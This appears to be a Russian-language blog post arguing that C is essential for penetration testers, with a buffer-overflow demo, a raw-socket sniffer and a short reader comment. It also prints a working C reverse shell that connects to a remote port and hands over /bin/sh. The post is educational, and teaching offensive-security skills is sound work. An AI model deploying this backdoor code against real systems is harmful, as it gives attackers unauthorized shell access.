Когда речь заходит о выборе языка для начинающего пентестера, чаще всего вспоминают Python: удобный синтаксис, тысячи библиотек, готовые скрипты на GitHub. Но чем глубже вы погружаетесь в безопасность, тем яснее становится: без языка C — никуда.


C не устаревает — он продолжает быть фундаментом всего: от операционных систем до эксплойтов. И вот почему в 2025 году знание C особенно важно для пентеста.

1. Эксплойты и уязвимости «живут» в C-коде

Большинство классических багов, с которых начиналась история кибербезопасности, происходили из-за ошибок в программах на C:

  • Buffer Overflow

  • Use-After-Free

  • Format String Vulnerabilities


Эти ошибки не появляются в Python или JavaScript — их просто нельзя там допустить. Но в C всё напрямую зависит от разработчика:

#include <stdio.h>
#include <string.h>

int main() {
    char buf[8];
    strcpy(buf, "AAAAAAAAAAAAAAAAAAAA"); // переполнение!
    printf("Вы ввели: %s\n", buf);
    return 0;
}

Компилируем → запускаем → и вуаля: программа падает. Для пентестера это — отправная точка для построения эксплойта.

2. Понимание того, «как всё устроено»

Если вы ломаете систему, нужно понимать её изнутри.

C даёт доступ к:

  • Памяти (через указатели и malloc/free)

  • Системным вызовам (через unistd.h, sys/socket.h)

  • Железу (через регистры и драйверы)

Например, простой сниффер на C, работающий через raw-сокеты:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if(sock < 0) {
        perror("Socket error");
        return 1;
    }

    unsigned char buffer[65535];
    while(1) {
        int len = recv(sock, buffer, sizeof(buffer), 0);
        if(len > 0) {
            printf("Получен пакет длиной %d байт\n", len);
        }
    }
    return 0;
}

В Python можно написать подобное с помощью scapy, но в C вы работаете напрямую с ядром, что даёт максимальную гибкость.

3. «Красные команды» и реверс

При анализе малвари, бэкдоров и эксплойтов вы постоянно встречаете C/С++.

Многие тулзы пишутся именно на C, потому что:

  • они маленькие по размеру;

  • легко компилируются под разные ОС (Windows/Linux/BSD);

  • дают полный контроль над памятью и сетью.

Простейший TCP-бекдор на C занимает меньше 20 строк:

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv = {AF_INET, htons(4444), {0}};
    connect(sock, (struct sockaddr*)&serv, sizeof(serv));
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    execl("/bin/sh", "sh", NULL);
}

Эта программа подключается к удалённому серверу и отдаёт туда оболочку. Никакой Python не даст такого же уровня минимализма и скорости.

4. IoT, роутеры и «железо»

Мир пентеста уже давно вышел за рамки веб-приложений. IoT-устройства, камеры, маршрутизаторы — всё это написано на C.

Хотите найти уязвимость в роутере? Придётся лезть в бинарник прошивки на C.

5. В 2025 году C = навык «ниже уровня фреймворков»

Сегодня многие пентестеры застревают на уровне «поднять Metasploit и нажать exploit». Это даёт результат только до определённого уровня. Настоящие исследователи и Red Team-специалисты должны уметь:

  • читать C-код уязвимого ПО;

  • писать свой PoC (proof-of-concept);

  • понимать, как работает память и стек.

Заключение

C — это не «ещё один язык для резюме». Это инструмент, который отличает скрипт-кидди от настоящего специалиста.

  • Python нужен для автоматизации,

  • Bash — для склейки тулзов,

  • но именно C позволяет залезть внутрь системы.

И если в 2025 году вы хотите не просто запускать чужие эксплойты, а создавать свои и понимать систему изнутри — учите C.

P.S. Идея для практики:

Возьмите старую CTF-задачу с buffer overflow, соберите её у себя и попробуйте воспроизвести атаку. Это даст больше опыта, чем неделя чтения книг по Python.

Комментарии (2)


  1. MinimumLaw
    01.09.2025 09:24

    А сколько специалистов по безопасности нужно на одного программиста? И как же так получается, что контроллеры знают больше, чем разработчики? Как поможет знание С отлавливать проблемы в коде на JAVA или python'е?

    И это при том, что С меня кормит уже много лет, и, надеюсь, еще долго будет кормить. Как по мне, язык С стоит учить в том случае, если есть желание очень глубоко вникнуть в тему "как именно оно работает". Но если реально глубоко, то С дело не ограничится - дальше схемотехника во всех ее проявлениях.

    В остальных случаях эти знания факультативны, и без них вполне можно жить.